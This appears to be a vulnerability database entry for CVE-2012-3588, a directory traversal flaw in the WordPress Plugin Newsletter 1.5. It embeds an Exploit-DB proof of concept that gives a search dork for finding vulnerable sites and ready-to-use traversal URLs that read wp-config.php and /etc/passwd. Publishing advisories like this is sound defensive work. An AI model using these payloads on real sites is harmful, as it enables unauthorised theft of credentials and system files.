CVE-2012-3588

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Published 2012-06-19 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

6.0

Description

Directory traversal vulnerability in preview.php in the Plugin Newsletter plugin 1.5 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the data parameter.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-19018 webapps php verified text · 1 KB

Sammy FORGIT · 2012-06-08

WordPress Plugin NewsLetter 1.5 - Remote File Disclosure

text exploit Source: Exploit-DB

##################################################
# Description : Wordpress Plugins - Plugin: Newsletter Remote File 
Disclosure Vulnerability
# Version : 1.5
# Link : http://wordpress.org/extend/plugins/plugin-newsletter/
# Plugins : http://downloads.wordpress.org/plugin/plugin-newsletter.zip
# Date : 31-05-2012
# Google Dork : inurl:/wp-content/plugins/plugin-newsletter/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

http://www.exemple.com/wordpress/wp-content/plugins/plugin-newsletter/preview.php?data=../../../../wp-config.php

Read source [CTRL-u]

http://www.exemple.com/wordpress/wp-content/plugins/plugin-newsletter/preview.php?data=../../../../../../../../etc/passwd

Read source [CTRL-u]

Application impact

Vendor	Product	Versions	Fixed
wordpress	plugin_newsletter_plugin	`1.5`
wordpress	wordpress	`-`

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.